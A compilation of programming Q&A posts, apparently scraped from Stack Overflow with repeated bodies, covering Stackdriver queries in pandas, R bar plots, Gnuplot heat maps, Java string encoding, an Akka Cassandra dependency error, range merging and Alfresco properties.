```<code>query = client.query(metric_type, minutes=5)
</code>```

which when using pandas returns something like this:

```<code>resource_type                                 l7_lb_rule
project_id                                    my_id
backend_name
backend_zone
forwarding_rule_name                          foo-http     foo-https
instance_group_name
matched_url_path_rule
target_proxy_name                           foo-target-1 foo-https-060417
target_proxy_type
url_map_name                                         foo              foo
log                                             requests         requests
2017-06-26 15:43:06.750                               26               25
</code>```

Yet I'm not sure how to manipulate this to get the values I need, which essentially are the number of http and https requests (I want to sum these).

For example if I were to use iterrows() how could I filter this down so it shows me the data I need?

Or perhaps displaying it as a dataframe isn't how I should be doing it, I just can't see how else to get this data using this library.

Thanks in advance

答: I have decided to avoid using dataframes entirely and just iterate over the timeseries object to extract the values I need.</p>

Body:
I am trying to get data from a custom Stackdriver metric using the Google-Cloud Python library, but beyond returning it as a pandas dataframe I can't get the values I need.

For example the query, which looks something like:

query = client.query(metric_type, minutes=5)

which when using pandas returns something like this:

resource_type                                 l7_lb_rule
project_id                                    my_id
backend_name
backend_zone
forwarding_rule_name                          foo-http     foo-https
instance_group_name
matched_url_path_rule
target_proxy_name                           foo-target-1 foo-https-060417
target_proxy_type
url_map_name                                         foo              foo
log                                             requests         requests
2017-06-26 15:43:06.750                               26               25

Yet I'm not sure how to manipulate this to get the values I need, which essentially are the number of http and https requests (I want to sum these).

For example if I were to use iterrows() how could I filter this down so it shows me the data I need?

Or perhaps displaying it as a dataframe isn't how I should be doing it, I just can't see how else to get this data using this library.

Thanks in advance


问:
Plotting grouped data in R along with their percentages
My data is in this form

```<code>df$new  df$y
0.5     A
0.0     D
1.0     D
1.0     M
1.0     A
1.0     MNY
1.0     NO
0.0     NO
1.0     PV
0.5     PV
1.0     S
0.0     S
</code>```

I just know basic plot, so i used

```<code>barplot(df$new,names.arg = df$y)
</code>```

But In the X-Axis there should be unique values, how can i get this?  also their percentages

Percentages should be within them. Ex: A = 1.5/2 => 75%

答:
I'm not sure what you're wanting with the percentages, exactly, but here's a solution that calculates those percentages in the dataframe and also creates the barplot of the count of each of the unique values of y. The key lies with as.factor(y).

library(dplyr)
#>
#> Attaching package: 'dplyr'
#> The following objects are masked from 'package:stats':
#>
#>     filter, lag
#> The following objects are masked from 'package:base':
#>
#>     intersect, setdiff, setequal, union
library(ggplot2)

df <- data.frame(new = c(0.5, 0.0, 1.0, 1.0, 1.0, 1.0, 0.0, 1.0, 0.5),
                 y = c("A", "D", "D", "M", "A", "MNY", "NO", "NO", "PV"))

df$y<- as.factor(df$y)

df <- df %>%
  group_by(y) %>%
  mutate(avg = mean(new))

df
#> # A tibble: 9 x 3
#> # Groups:   y [6]
#>     new      y   avg
#>   <dbl> <fctr> <dbl>
#> 1   0.5      A  0.75
#> 2   0.0      D  0.50
#> 3   1.0      D  0.50
#> 4   1.0      M  1.00
#> 5   1.0      A  0.75
#> 6   1.0    MNY  1.00
#> 7   0.0     NO  0.50
#> 8   1.0     NO  0.50
#> 9   0.5     PV  0.50

ggplot(data = df) +
    geom_bar(aes(x = y))
```

Body:
My data is in this form

df$new  df$y
0.5     A
0.0     D
1.0     D
1.0     M
1.0     A
1.0     MNY
1.0     NO
0.0     NO
1.0     PV
0.5     PV
1.0     S
0.0     S

I just know basic plot, so i used

barplot(df$new,names.arg = df$y)

But In the X-Axis there should be unique values, how can i get this?  also their percentages

Percentages should be within them. Ex: A = 1.5/2 => 75%


问:
Library app Vs Standalone iPhone app
I am building a native iPhone application wherein this application will act as a standalone app on one device and act as a library on other device. Can you please guide me how should I design the app. Should the same method "applicationDidFinishedLaunching" be called in both the cases and just in the basis of some parameters I will be distinguishing from where the call was made. This is because, in both the cases, I have some different screen flows.</p>

答:
Library code has to be compiled into the running app to be used.  No other app can access your code, as all apps are sandboxed and prohibited from accessing each other's directories, and thus any code contained in such.  If someone taps on another icon, it will be as if your library code does not exist to that app.

Another app can start your app by using a registered launch URL, but that will just result in your app being brought to the foreground.  The other app will be put into the background or terminated.

Title: Library app Vs Standalone iPhone app


问:
Three 2D maps in a single 3D graph in Gnuplot
Is there any way to construct three 2D maps (three heat maps) in a
single 3D graph in the Gnuplot? I have three datasets (in matrix form) to plot as 2D maps in a single 3D graph: the first data in the XY plane, the second in XZ, and the last one in YZ.
Thus I tried the (naive) code:

set multiplot
   splot 'data_1' matrix u 1:2:3 w image
   splot 'data_2' matrix u 2:3:1 w image
   splot 'data_3' matrix u 3:2:1 w image
 unset multiplot

but except for the 'data_1' map, all the others are out of scale.
There is any way to do this?

答:
You have to give the splot command 4 pieces of information: the x, y, and the z coordinate, and the value for the color. For example, the script

```<code>set xyplane at -0.5
set xrange [-0.5:3.5]
set yrange [-0.5:3.5]
set zrange [-0.5:3.5]
set xtics 1
set ytics 1
set ztics 1
set view 55,110
unset key
splot "data.dat" matrix  u 1:2:(-0.5):3 w image, \
      "" matrix u 1:(-0.5):2:3 w image, \
      "" matrix u (-0.5):1:2:3 w image
</code>```

where data.dat is a data file in matrix format such as

```<code>1 2 3 2
4 5 6 5
7 8 9 8
4 5 6 5
</code>```

gives the following output:

Body:
You have to give the splot command 4 pieces of information: the x, y, and the z coordinate, and the value for the color. For example, the script

set xyplane at -0.5
set xrange [-0.5:3.5]
set yrange [-0.5:3.5]
set zrange [-0.5:3.5]
set xtics 1
set ytics 1
set ztics 1
set view 55,110
unset key
splot "data.dat" matrix  u 1:2:(-0.5):3 w image, \
      "" matrix u 1:(-0.5):2:3 w image, \
      "" matrix u (-0.5):1:2:3 w image

where data.dat is a data file in matrix format such as

1 2 3 2
4 5 6 5
7 8 9 8
4 5 6 5

gives the following output:


问:
how to get lexicographic order of a string having an alphabet
i have an alphabet composed of 4 letters [a, c, g, t].

i have an incremental dictionary of these letters:

```<code>[a, c, g, t, aa, ac, ag, at, aaa, aac, aag, aat, aca, acc, acg, act, aga, agc, agg, agt, ata, atc, atg, att, aaaa ...]
</code>```

i want to assign to each string of the dictionary an encoding which is different from all other encodings.

for example:

```<code>a=1
c=2
g=3
t=4
aa=5
ac=6
ag=7
at=8
aaa=9
aac=10
ecc...
</code>```

how i can do this?

答:
You can use a Hashmap

here is the code:

```<code>List<String> test= Arrays.asList("a", "c", "g","t", "aa","ac","ag","at","aaa","aac","aag","aat","aca","acc","aaaa");
HashMap<String, Integer> encodeValue = new HashMap<String,Integer>();
int i = 1;
for(String value : test){
    if(!encodeValue.containsKey(value)){
        encodeValue.put(value, new Integer(i));
        i++;
        }
}
System.out.println(Arrays.asList(encodeValue));
</code>```

The output

```<code>[{
g=3,
aac=10,
aaa=9,
c=2,
aag=11,
a=1,
at=8,
acc=14,
t=4,
aaaa=15,
aat=12,
ac=6,
aa=5,
ag=7,
aca=13
}]
</code>```

Its not in order but all string has a unique encode value to it.

Hope this helps and welcome to Stackoverflow. If you find this answer or any other answer solves your problem please mark it as the solution to help the community and others who has same question as you did.

Body:
i have an alphabet composed of 4 letters [a, c, g, t].

i have an incremental dictionary of these letters:

[a, c, g, t, aa, ac, ag, at, aaa, aac, aag, aat, aca, acc, acg, act, aga, agc, agg, agt, ata, atc, atg, att, aaaa ...]

i want to assign to each string of the dictionary an encoding which is different from all other encodings.

for example:

a=1
c=2
g=3
t=4
aa=5
ac=6
ag=7
at=8
aaa=9
aac=10
ecc...

how i can do this?

Body:
You can use a Hashmap

here is the code:

List<String> test= Arrays.asList("a", "c", "g","t", "aa","ac","ag","at","aaa","aac","aag","aat","aca","acc","aaaa");
HashMap<String, Integer> encodeValue = new HashMap<String,Integer>();
int i = 1;
for(String value : test){
    if(!encodeValue.containsKey(value)){
        encodeValue.put(value, new Integer(i));
        i++;
        }
}
System.out.println(Arrays.asList(encodeValue));

The output

[{
g=3,
aac=10,
aaa=9,
c=2,
aag=11,
a=1,
at=8,
acc=14,
t=4,
aaaa=15,
aat=12,
ac=6,
aa=5,
ag=7,
aca=13
}]

Its not in order but all string has a unique encode value to it.

Hope this helps and welcome to Stackoverflow. If you find this answer or any other answer solves your problem please mark it as the solution to help the community and others who has same question as you did.


问:
Akka persistece cassandra plugin throws NoSuchMethodError on sturtup
I'm playing with different akka-persistence plugins to compare the available options.
Now I can successfully run with in-memory & leveldb plugins but faced some runtime exception with cassandra plugin.

```<code>akka {
  persistence {
    # predefined inmemory plugin
    # journal.plugin = "akka.persistence.journal.inmem"
    # snapshot-store.plugin = "akka.persistence.snapshot-store.local"

    # cassandra plugin
    journal.plugin = "cassandra-journal"
    snapshot-store.plugin = "cassandra-snapshot-store"
  }
  ...
}
</code>```

My dependencies:

```<code>dependencies {
    compile "com.typesafe.akka:akka-persistence_2.11:$akkaVersion"
    compile "com.typesafe.akka:akka-remote_2.11:$akkaVersion"
    compile 'com.github.romix.akka:akka-kryo-serialization_2.11:0.5.0'
    compile 'com.typesafe.akka:akka-persistence-cassandra:0.7'
}
</code>```

Do I need to perform some additional actions to make it run?

The exception:

```<code>[ERROR] [07/05/2017 19:08:58.591] [sender-system-akka.actor.default-dispatcher-12] [akka://sender-system/system/cassandra-journal] akka.stream.ActorMaterializer$.apply$default$3()Lakka/stream/Optimizations;
akka.actor.ActorInitializationException: akka://sender-system/system/cassandra-journal: exception during creation
    at akka.actor.ActorInitializationException$.apply(Actor.scala:191)
    at akka.actor.ActorCell.create(ActorCell.scala:608)
    at akka.actor.ActorCell.invokeAll$1(ActorCell.scala:462)
    at akka.actor.ActorCell.systemInvoke(ActorCell.scala:484)
    at akka.dispatch.Mailbox.processAllSystemMessages(Mailbox.scala:282)
    at akka.dispatch.Mailbox.run(Mailbox.scala:223)
    at akka.dispatch.Mailbox.exec(Mailbox.scala:234)
    at akka.dispatch.forkjoin.ForkJoinTask.doExec(ForkJoinTask.java:260)
    at akka.dispatch.forkjoin.ForkJoinPool$WorkQueue.runTask(ForkJoinPool.java:1339)
    at akka.dispatch.forkjoin.ForkJoinPool.runWorker(ForkJoinPool.java:1979)
    at akka.dispatch.forkjoin.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:107)
Caused by: java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
    at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
    at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
    at akka.util.Reflect$.instantiate(Reflect.scala:65)
    at akka.actor.ArgsReflectConstructor.produce(IndirectActorProducer.scala:96)
    at akka.actor.Props.newActor(Props.scala:213)
    at akka.actor.ActorCell.newActor(ActorCell.scala:563)
    at akka.actor.ActorCell.create(ActorCell.scala:589)
    ... 9 more
Caused by: java.lang.NoSuchMethodError: akka.stream.ActorMaterializer$.apply$default$3()Lakka/stream/Optimizations;
    at akka.stream.scaladsl.ImplicitMaterializer$class.$init$(ImplicitMaterializer.scala:25)
    at akka.persistence.cassandra.journal.CassandraJournal.<init>(CassandraJournal.scala:31)
    ... 18 more
</code>```

答:
Seems I found the source of failure: I googled some invalid dependency for akka-persistence-cassandra.

Now I can successfully run with: 'com.typesafe.akka:akka-persistence-cassandra_2.11:0.54'

Body:
I'm playing with different akka-persistence plugins to compare the available options.
Now I can successfully run with in-memory & leveldb plugins but faced some runtime exception with cassandra plugin.

akka {
  persistence {
    # predefined inmemory plugin
    # journal.plugin = "akka.persistence.journal.inmem"
    # snapshot-store.plugin = "akka.persistence.snapshot-store.local"

    # cassandra plugin
    journal.plugin = "cassandra-journal"
    snapshot-store.plugin = "cassandra-snapshot-store"
  }
  ...
}

My dependencies:

dependencies {
    compile "com.typesafe.akka:akka-persistence_2.11:$akkaVersion"
    compile "com.typesafe.akka:akka-remote_2.11:$akkaVersion"
    compile 'com.github.romix.akka:akka-kryo-serialization_2.11:0.5.0'
    compile 'com.typesafe.akka:akka-persistence-cassandra:0.7'
}

Do I need to perform some additional actions to make it run?

The exception:

[ERROR] [07/05/2017 19:08:58.591] [sender-system-akka.actor.default-dispatcher-12] [akka://sender-system/system/cassandra-journal] akka.stream.ActorMaterializer$.apply$default$3()Lakka/stream/Optimizations;
akka.actor.ActorInitializationException: akka://sender-system/system/cassandra-journal: exception during creation
    at akka.actor.ActorInitializationException$.apply(Actor.scala:191)
    at akka.actor.ActorCell.create(ActorCell.scala:608)
    at akka.actor.ActorCell.invokeAll$1(ActorCell.scala:462)
    at akka.actor.ActorCell.systemInvoke(ActorCell.scala:484)
    at akka.dispatch.Mailbox.processAllSystemMessages(Mailbox.scala:282)
    at akka.dispatch.Mailbox.run(Mailbox.scala:223)
    at akka.dispatch.Mailbox.exec(Mailbox.scala:234)
    at akka.dispatch.forkjoin.ForkJoinTask.doExec(ForkJoinTask.java:260)
    at akka.dispatch.forkjoin.ForkJoinPool$WorkQueue.runTask(ForkJoinPool.java:1339)
    at akka.dispatch.forkjoin.ForkJoinPool.runWorker(ForkJoinPool.java:1979)
    at akka.dispatch.forkjoin.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:107)
Caused by: java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
    at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
    at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
    at akka.util.Reflect$.instantiate(Reflect.scala:65)
    at akka.actor.ArgsReflectConstructor.produce(IndirectActorProducer.scala:96)
    at akka.actor.Props.newActor(Props.scala:213)
    at akka.actor.ActorCell.newActor(ActorCell.scala:563)
    at akka.actor.ActorCell.create(ActorCell.scala:589)
    ... 9 more
Caused by: java.lang.NoSuchMethodError: akka.stream.ActorMaterializer$.apply$default$3()Lakka/stream/Optimizations;
    at akka.stream.scaladsl.ImplicitMaterializer$class.$init$(ImplicitMaterializer.scala:25)
    at akka.persistence.cassandra.journal.CassandraJournal.<init>(CassandraJournal.scala:31)
    ... 18 more


问:
Algorithm for Intersection (or Merge) of Numerical Ranges
Let's say I have a list of ranges like this:

List A) 0 to 3, 9 to 14

List B) 1 to 4, 6 to 7, 14 to 16

List C) 15 (i.e., 15 to 15)

I'd like to get a merged list of these ranges where the result would look like this:

Merged Result List) 0 to 4, 6 to 7, 9 to 16

(notice that the result is a merging/intersection/union of Lists A, B, and C)

I'm sure there's an algorithm for this, but have no idea.  Has anyone come across this before?

(pseudocode, or VB, would be great)

Adding a visual representation:

答:
Make array/list of pairs (Value, Flag = +1 for start or -1 for end of range)

Sort these pairs by Value  (use Flag as secondary key in case of tie)

Make Counter = 0

Walk through sorted array, adding Flag to Counter

When Counter becomes non-zero, merged range begins.

When Counter becomes zero, merged range ends

P.S. If you want to merge "touching" intervals - account for Flag in comparator function during sorting when Value is the same  - for example, (14;+1) before (14,-1)


问:
Create a 'Residual Property' from Alfresco REST API
I'm using Alfresco REST API to upload files and add metadatas from a NodeJS application.

I was wondering if there was a way to create a 'Residual Property' with a simple rest request.

(By 'residual property' I mean a property without a model or an aspect).

Thanks in advance :)

答:
Have you tried simply adding a property that does not exist in the model? This should work.

http://docs.alfresco.com/4.0/concepts/metadata-model-props.html

Although the content model provides the ability to specify property
  definitions, the content repository supports a feature known as a
  residual property, where a value can be set on a node for which there
  is no associated property definition defined in a content model. This
  allows for a node to act as a property bag for an arbitrary set of
  named-value pairs.